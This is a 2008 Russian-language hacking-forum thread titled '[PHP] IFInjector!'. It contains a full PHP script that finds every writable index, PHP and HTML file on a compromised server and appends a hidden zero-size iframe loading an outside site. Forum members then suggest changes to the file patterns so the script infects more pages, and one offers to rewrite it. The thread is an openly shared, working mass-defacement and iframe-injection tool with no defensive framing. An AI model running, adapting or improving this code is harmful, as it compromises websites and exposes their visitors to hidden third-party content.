Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   [PHP] IFInjector! (https://forum.antichat.xyz/showthread.php?t=93774)

heks 27.11.2008 15:51

[PHP] IFInjector!
 
имеется такой скрипт надо что бы он ифреимил не только индексные страницы а все подряд с расширением php html ну и т.д.

Цитата:

<?php



error_reporting(0);

if(!ini_get('safe_mode')) {

set_time_limit(0);

ini_set('memory_limit','512M');

}

$locate=array('index.php','index.htm','index.html' ,'*.php');

echo"\nStarting Cycle!\n\n";

foreach($locate as $key => $loc) {

if(@exec('locate '.$loc, $files[$key]))

echo"Stored $loc Files\n";

}

$files=@array_merge($files[0], $files[1], $files[2]); //edit this prior to what you set above within the $locate Array!

$cnt0=@count($files);

echo"\nComplete Merge -> $cnt0\n";

foreach($files as $file) {

if (!@is_dir($file)&&@is_readable($file)&&@is_writabl e($file))

$d[] = $file;

}

$files=$d; $cnt1=@count($files); $cntchg=$cnt0-$cnt1;

echo"Complete Re-Order! -> $cntchg Removed of Total $cnt0 Leaving $cnt1.\n";

if($cnt1<1) {

echo"\nAttn: No files will be re-wrote due to permission errors!";

}

else {

foreach($files as $x => $file) {

$x++;

echo"$x/$cnt1 <- Rewrote: $file\n";

$filedata=@implode('', file($file));

$filedata=@str_replace('<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>', '', $filedata);

$filedata.='<iframe src=\'http://thedefaced.org/forums/\' width=\'0\' height=\'0\' frameborder=\'0\'></iframe>';

$f=@fopen($file, 'w');

@fwrite($f, $filedata);

@fclose($f);

}

}

echo"\n\nEnd!\n";



?>

heks 27.11.2008 16:06

Цитата:

Сообщение от ChaaK
$locate=array('index.php','index.htm','index.html' ,'*.php','тут через запятую расширения для ифрейма');

нет не работает все равно

Chaak 27.11.2008 16:16

замени короче строчку
PHP код:

$locate=array('index.php','index.htm','index.html' ,'*.php'); 

на
PHP код:

$locate = array('*.*'); 


heks 27.11.2008 17:29

после того как заменил строчку пишется такое сообщение

Starting Cycle! Stored *.* Files Complete Merge -> 0 Complete Re-Order! -> 0 Removed of Total 0 Leaving 0. Attn: No files will be re-wrote due to permission errors! End!

heks 27.11.2008 18:24

что тчтоникто и не поможет

Pashkela 27.11.2008 18:27

Ну он же по русски пишет - нет ошибок, облом, ищи другой сайт, насяльника

heks 27.11.2008 22:06

а есть у кого либо подобные скрипты ? просто сначало скрипт работа а потом такую хрень начал писать

Solker 28.11.2008 00:29

Что должен делать скрипт.
Я не понимаю слова "ифреимил".
Нормально напишешь, чего тебе надо - Перепишу скрипт.

heks 28.11.2008 10:13

скрипт примерно должен искать файлы с расширением php html и файлы которые могут правиться он в них должен вписывать свой код в конец или в начало файла лучше в конец а было бы хорошо что бы был выбор или в конец фала

Solker 28.11.2008 22:04

Попробуй так:
PHP код:

$locate=array('*.php','*.htm'); 

и
PHP код:

$files=@array_merge($files[0], $files[1]); 



Время: 18:31